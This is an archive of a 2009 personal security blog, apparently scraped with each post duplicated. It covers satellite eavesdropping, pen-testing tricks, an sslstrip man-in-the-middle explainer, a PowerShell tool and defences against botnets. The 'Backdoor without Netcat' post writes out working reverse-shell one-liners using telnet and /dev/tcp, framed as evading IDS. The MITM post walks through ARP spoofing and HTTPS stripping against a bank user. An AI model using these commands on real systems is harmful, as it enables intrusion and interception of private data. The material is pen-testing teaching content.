I was just sitting catching up on some news while drinkin' my morning joe and I had to comment on this. The article from Wired magazine; "The Great Brazillian Sat-Hack Crackdown" just makes me laugh! I am not one to condone illegal activity. What's more I am a licensed HAM radio user and I really believe in proper use of frequency. However, to call the people that use these sats for communication, criminals is probably going too far. What is the real scary part of this story? In case you missed it, the Navy's Fleet Satellite Communication system, or FLTSATCOM runs unencrypted!
Now before you say "They said drug lords use them to communicate and that makes it a crime". Lets look at reality. What available medium is not used for crime these days? Internet, yes, Cell phones, yes, HAM radios, yes. So all of these things must be illegal too. Comm'on!
Do I think there are ways that the "legit" users could do things a bit better to take advantage of free, or low cost communications? I do. However, in some circumstances you have to do what you can with what you got. In the mean time, when are governments going to start to realize that if you don't want people listening to your stuff, encrypt it! They can listen to our conversations that are in the open without any problems, why can't we listen to what they have to say over an open frequency?
Monday, April 20, 2009
Backdoor without Netcat
So you want to get a remote shell on that box but you either cannot install software for some reason or your rules of engagement state that this is out of scope. No problem! Here is a handy little trick using our builtin tools.
Start two netcat listeners on your Windows machine:
C:\> nc -l -p 80
C:\> nc -l -p 443
From your Linux box now run the following command which opens our backdoor:
telnet [Windows Box IP] 80 | /bin/bash | telnet [Windows Box IP] 443
The interesting thing here is that everything you type in the port 80 window, the results will show up in the port 443 window. You now have remote shell to that Linux box. Probably the nicest thing about this one is that we are opening two ports from our Linux box to the Internet. Port 80 and port 443. Most likely these ports are allowed out from the box in most cases. Unless there is an IDS/IPS in place, this should skirt right under the radar.
Now if you are on a Linux box with good 'ol /dev/tcp, here is another way to do this:
On your Windows box start a netcat listener:
C:\>nc -l -p 80
Then on your Linux box run the following:
/bin/bash -i > /dev/tcp/[Windows Box IP]/80 0<&1 2>&1
Let's break this down. The -i after bash tells it to run in interactive mode. We will then take our Standard Input from the bash shell (0) and redirect this (<) to a duplicated (&) Standard Output (1). The second part is taking our Standard Error (2) of our bash shell and redirecting (>) this into a duplicated (&) Standard Output (1).
OK so that's some kick butt command line kung fu-rey. This is just one of the really nice things about taking a class at SANS. Ed Skoudis and John Strand are very good instructors (I don't mean to leave out the others. I'm sure they are good as well, I just haven't had the pleasure of taking a class from them yet). These alternate techniques came out of a challenge session between a few of the SANS instructors. They basically challenged each other "What if you don't have netcat in your pen test". These are some of the answers that came out. We did a lot more than this. We saw how to do port scans with /dev/tcp, telnet and ftp! Yes ftp! All of this without installing software on the target box.
Personally I perfer not to install software if possible. I do think clients of whom you will be pen testing would love to hear "we don't install malware or tools on your box unless completely necessary to gain access". I can just imagine them getting the warm fuzzies from this.
If you have any cool little tricks like this to share, please comment! If you like this command line stuff, you can also browse on over to the Commandline KungFu blog, where you will see these challenges that Ed Skoudis and others partake in. I have learned a bunch from this blog, not only for pen testing, but for making system administration easier too!
Start two netcat listeners on your Windows machine:
C:\> nc -l -p 80
C:\> nc -l -p 443
From your Linux box now run the following command which opens our backdoor:
telnet [Windows Box IP] 80 | /bin/bash | telnet [Windows Box IP] 443
The interesting thing here is that everything you type in the port 80 window, the results will show up in the port 443 window. You now have remote shell to that Linux box. Probably the nicest thing about this one is that we are opening two ports from our Linux box to the Internet. Port 80 and port 443. Most likely these ports are allowed out from the box in most cases. Unless there is an IDS/IPS in place, this should skirt right under the radar.
Now if you are on a Linux box with good 'ol /dev/tcp, here is another way to do this:
On your Windows box start a netcat listener:
C:\>nc -l -p 80
Then on your Linux box run the following:
/bin/bash -i > /dev/tcp/[Windows Box IP]/80 0<&1 2>&1
Let's break this down. The -i after bash tells it to run in interactive mode. We will then take our Standard Input from the bash shell (0) and redirect this (<) to a duplicated (&) Standard Output (1). The second part is taking our Standard Error (2) of our bash shell and redirecting (>) this into a duplicated (&) Standard Output (1).
OK so that's some kick butt command line kung fu-rey. This is just one of the really nice things about taking a class at SANS. Ed Skoudis and John Strand are very good instructors (I don't mean to leave out the others. I'm sure they are good as well, I just haven't had the pleasure of taking a class from them yet). These alternate techniques came out of a challenge session between a few of the SANS instructors. They basically challenged each other "What if you don't have netcat in your pen test". These are some of the answers that came out. We did a lot more than this. We saw how to do port scans with /dev/tcp, telnet and ftp! Yes ftp! All of this without installing software on the target box.
Personally I perfer not to install software if possible. I do think clients of whom you will be pen testing would love to hear "we don't install malware or tools on your box unless completely necessary to gain access". I can just imagine them getting the warm fuzzies from this.
If you have any cool little tricks like this to share, please comment! If you like this command line stuff, you can also browse on over to the Commandline KungFu blog, where you will see these challenges that Ed Skoudis and others partake in. I have learned a bunch from this blog, not only for pen testing, but for making system administration easier too!
Friday, April 17, 2009
Man in the Middle
Remember the good old days when we would fire up Cain or dsniff and do a man in the middle attack? What was the big problem with this technique? If you said the invalid certificate, you would be right. For those of you not familiar with this, here is the quick and dirty.
Arp being a trusting soul will accept an update from anyone by default. With that in mind we set our computers to tell all of the other computers on the network that we are their default gateway. We do this via an ARP packet. We continue to send these packets out making sure they don't forget that we are in fact their default gateway. Now all of their traffic comes though us. Since we know the real MAC address of the real gateway, we send those packets out as normal. Pretty cool. The user is none the wiser at this point.
Now, Joe User decides to head on over to his bank site which uses HTTPS encryption. When we intercept that packet we terminate that secure connection and establish a new connection from us to the bank. For that brief moment when Joe's packets come to us and we send them off, it is all unencrypted. Very cool. Problem! The certificate we send to Joe for the HTTPS session is signed by us because we do not have the private key of the bank site....yet :)) When Joe's PC sees this incorrect certificate, it throws a warning message saying DON'T GO ON OR YOU WILL BE pWNED! OK it really doesn't say that but you have all seen the warning before.
Most people will click right through that not caring one bit. For those of us that are a little more security conscious though, we stop and investigate. Our plan is now foiled. Game over :(.
Enter sslstrip. This nifty tool makes our game go on. Whats interesting about sslstrip is that no certificate error is sent. It simply redirects you to a http session which your browser doesn't care about HTTPS certificates for these sites. So no more warnings, we can just capture away. If you want to be a little more sly you could send a new favicon.ico on with the packets to Joe that is a picture of a little lock. Looks secure :) muhahah! Very cool tool. MITM is possible again. So I will leave you with a video from pauldotcom showing how this cool tool works. I'm off to $tarbucks to pwn some private information, I mean surf some websites :)
John Strand's Channel showing SSLStrip and more!
Arp being a trusting soul will accept an update from anyone by default. With that in mind we set our computers to tell all of the other computers on the network that we are their default gateway. We do this via an ARP packet. We continue to send these packets out making sure they don't forget that we are in fact their default gateway. Now all of their traffic comes though us. Since we know the real MAC address of the real gateway, we send those packets out as normal. Pretty cool. The user is none the wiser at this point.
Now, Joe User decides to head on over to his bank site which uses HTTPS encryption. When we intercept that packet we terminate that secure connection and establish a new connection from us to the bank. For that brief moment when Joe's packets come to us and we send them off, it is all unencrypted. Very cool. Problem! The certificate we send to Joe for the HTTPS session is signed by us because we do not have the private key of the bank site....yet :)) When Joe's PC sees this incorrect certificate, it throws a warning message saying DON'T GO ON OR YOU WILL BE pWNED! OK it really doesn't say that but you have all seen the warning before.
Most people will click right through that not caring one bit. For those of us that are a little more security conscious though, we stop and investigate. Our plan is now foiled. Game over :(.
Enter sslstrip. This nifty tool makes our game go on. Whats interesting about sslstrip is that no certificate error is sent. It simply redirects you to a http session which your browser doesn't care about HTTPS certificates for these sites. So no more warnings, we can just capture away. If you want to be a little more sly you could send a new favicon.ico on with the packets to Joe that is a picture of a little lock. Looks secure :) muhahah! Very cool tool. MITM is possible again. So I will leave you with a video from pauldotcom showing how this cool tool works. I'm off to $tarbucks to pwn some private information, I mean surf some websites :)
John Strand's Channel showing SSLStrip and more!
Friday, April 3, 2009
A Kick butt tool
OK, so as you all might know I have been stumbling on new cool command line techniques on the Windows platform. It started with the SANS 560 class, but has run beyond that now. I am an avid follower of Ed Skoudis' Command Line KungFu blog as well. Ed, and others bring out a lot of cool ways to do things from the command line. It is very pen tester centric but I find that it comes in handy in other places as well.
To get more to the point, yesterday I had to pull a list of emailboxes of a certain size from a Microsoft Exchange server. Sure I could have opened Exchange System Manager, but the command line junkie in me said "there has to be a better way". So I started doing a little bit of searching. Quickly I came across how to do this with PowerShell. I though, man if only I could use PowerShell to get this and other things done in an pure XP/2003 environment.
Guess what? Not only can you install PowerShell on XP, but I also found this kick butt addon that will probably make any Windows admin out there drool, especially if they are constantly having to pull reports from AD, Exchange and systems in general.
Scoot on over to PowerGUI.org. This handy tool gives you a nice little GUI to store and retrieve all of your precious PowerShell scripts. The IDE in it even does the recognition of keywords, sorry not a programer to remember what they call that. Basically if you start to type a word and it matches a known command it will give you the listed matches to autocomplete for you. All nice right?
The next good thing is the PowerPacks! There are PowerPacks for all kinds of stuff and growing. I found a PowerPack for Exchange 03. Found a PowerPack for AD that not only allows me to save off nice querries for reports but also lets me restore deleted items from AD! You read that right. Bring those users back with the same GUID and SID! This is freakin awesome because you used to have to pay for that handy feature. There are PowerPacks for OCS , SQL, Citrix and more. It is a community based project so there is lots of colaboration and sharing going on. The thing not to forget is that it is all just an IDE for PowerShell scripting. Add you own, share what you have done, try the shared objects.
I thought all of the remote desktops apps I found the other week were kewl, but it turns out that outside of security land, this is the coolest app I have seen in some time that actually helps out on the job.
To get more to the point, yesterday I had to pull a list of emailboxes of a certain size from a Microsoft Exchange server. Sure I could have opened Exchange System Manager, but the command line junkie in me said "there has to be a better way". So I started doing a little bit of searching. Quickly I came across how to do this with PowerShell. I though, man if only I could use PowerShell to get this and other things done in an pure XP/2003 environment.
Guess what? Not only can you install PowerShell on XP, but I also found this kick butt addon that will probably make any Windows admin out there drool, especially if they are constantly having to pull reports from AD, Exchange and systems in general.
Scoot on over to PowerGUI.org. This handy tool gives you a nice little GUI to store and retrieve all of your precious PowerShell scripts. The IDE in it even does the recognition of keywords, sorry not a programer to remember what they call that. Basically if you start to type a word and it matches a known command it will give you the listed matches to autocomplete for you. All nice right?
The next good thing is the PowerPacks! There are PowerPacks for all kinds of stuff and growing. I found a PowerPack for Exchange 03. Found a PowerPack for AD that not only allows me to save off nice querries for reports but also lets me restore deleted items from AD! You read that right. Bring those users back with the same GUID and SID! This is freakin awesome because you used to have to pay for that handy feature. There are PowerPacks for OCS , SQL, Citrix and more. It is a community based project so there is lots of colaboration and sharing going on. The thing not to forget is that it is all just an IDE for PowerShell scripting. Add you own, share what you have done, try the shared objects.
I thought all of the remote desktops apps I found the other week were kewl, but it turns out that outside of security land, this is the coolest app I have seen in some time that actually helps out on the job.
Wednesday, April 1, 2009
more on bots
Not sure what set me in bot mode this week, but I have been intrigued by them and started a deeper study. That coupled with today supposing to be Conficker's day to check in to it's CnC for updates probably has helped keep it a topic on my mind as well.
So sure they work on IRC in a lot of cases. IRC is a pretty straight forward protocol that many of us are probably at least a little familiar with. What though are the reasons for bots, techniques of bots and how can we protect against them? I would go as far as recommending a three step process:
1. Egress filtering at your edge firewall. This is going to block any traffic that you do not trust. Most people block untrusted communication from the Internet in, but I'm talking from the LAN out! Depending on your firewall maker, you may only get a good port blocker, which should help in a lot of cases, but if you have a firewall that is doing deep packet inspection, you can get most of your problem traffic stopped before these bots can phone home.
2. Update your OS and applications! This may seem like a no brainer, and you may say "I have automatic updates on". The problem is that many of these bots and other malware are turning that service off or tricking that process into thinking it's checking in, when it really isn't. Also notice that I said applications as well. As much as we all like to bash Microsoft for being insecure, a lot of new techniques are being used to take advantage of thrid party applications as well because these tend to be ignored or harder to update automatically.
3. Update your AntiVirus. This is twofold. A lot of people think they are fine with that Norton 2003, (mentioned for example purposes only), because they are getting their signature updates still. The problem with that is these malware are becoming polymorphic. These types of malware cannot be noticed with general signatures. They have to be caught by recognizing abnormal traffic. The newer AV engines are able to view this type of behavior through other signatures and IPS functionality. If you are not also updating your AV engine, you might as well not update your signatures either.
OK, thats probably going too far, but it is important. We also need to make sure we are getting updates. Check the definition file date from time to time to ensure it is up to date. I have my AV update a couple times a day, in most cases I'm suprised to see a definition file that is more than 24 hours old.
If you have a corperate Anti Virus system, someone should be running reports on your clients, making sure they are checking in and getting the latest updates. The reason for all of this is because again these malware are turning off AV systems or hindering thier ability to do updates.
All that done and you should be in a good position to fight off these types of attacks. This is not everything you need but I find that these 3 steps will help most. Of course it doesn't hurt to have an IPS/IDS on the netowrk as well; stopping these things before they get on your network to begin with is also a great step!
If you are interested in learning more about bots, I found the following links posted to a email list I am a part of. It is a series of presentations from the folks over at Watchguard. Watchguard is not my first choice of security appliance, but there are many that are worse. The information contained in this series is good for an introduction into bots from a high level. Enjoy and of course if you have questions you can ask me directly. I am glad to help you formulate a plan to protect your network for free. Yes free! OK enough with the shameless plug :) I will probably be posting more as I dive deeper into the realm of bots and botnets. Keep your eyes out!
Watchguard Botnet Series:
Part 1
Part 2
Part 3
Botnet Source Code for Overachievers
So sure they work on IRC in a lot of cases. IRC is a pretty straight forward protocol that many of us are probably at least a little familiar with. What though are the reasons for bots, techniques of bots and how can we protect against them? I would go as far as recommending a three step process:
1. Egress filtering at your edge firewall. This is going to block any traffic that you do not trust. Most people block untrusted communication from the Internet in, but I'm talking from the LAN out! Depending on your firewall maker, you may only get a good port blocker, which should help in a lot of cases, but if you have a firewall that is doing deep packet inspection, you can get most of your problem traffic stopped before these bots can phone home.
2. Update your OS and applications! This may seem like a no brainer, and you may say "I have automatic updates on". The problem is that many of these bots and other malware are turning that service off or tricking that process into thinking it's checking in, when it really isn't. Also notice that I said applications as well. As much as we all like to bash Microsoft for being insecure, a lot of new techniques are being used to take advantage of thrid party applications as well because these tend to be ignored or harder to update automatically.
3. Update your AntiVirus. This is twofold. A lot of people think they are fine with that Norton 2003, (mentioned for example purposes only), because they are getting their signature updates still. The problem with that is these malware are becoming polymorphic. These types of malware cannot be noticed with general signatures. They have to be caught by recognizing abnormal traffic. The newer AV engines are able to view this type of behavior through other signatures and IPS functionality. If you are not also updating your AV engine, you might as well not update your signatures either.
OK, thats probably going too far, but it is important. We also need to make sure we are getting updates. Check the definition file date from time to time to ensure it is up to date. I have my AV update a couple times a day, in most cases I'm suprised to see a definition file that is more than 24 hours old.
If you have a corperate Anti Virus system, someone should be running reports on your clients, making sure they are checking in and getting the latest updates. The reason for all of this is because again these malware are turning off AV systems or hindering thier ability to do updates.
All that done and you should be in a good position to fight off these types of attacks. This is not everything you need but I find that these 3 steps will help most. Of course it doesn't hurt to have an IPS/IDS on the netowrk as well; stopping these things before they get on your network to begin with is also a great step!
If you are interested in learning more about bots, I found the following links posted to a email list I am a part of. It is a series of presentations from the folks over at Watchguard. Watchguard is not my first choice of security appliance, but there are many that are worse. The information contained in this series is good for an introduction into bots from a high level. Enjoy and of course if you have questions you can ask me directly. I am glad to help you formulate a plan to protect your network for free. Yes free! OK enough with the shameless plug :) I will probably be posting more as I dive deeper into the realm of bots and botnets. Keep your eyes out!
Watchguard Botnet Series:
Part 1
Part 2
Part 3
Botnet Source Code for Overachievers
Subscribe to:
Posts (Atom)
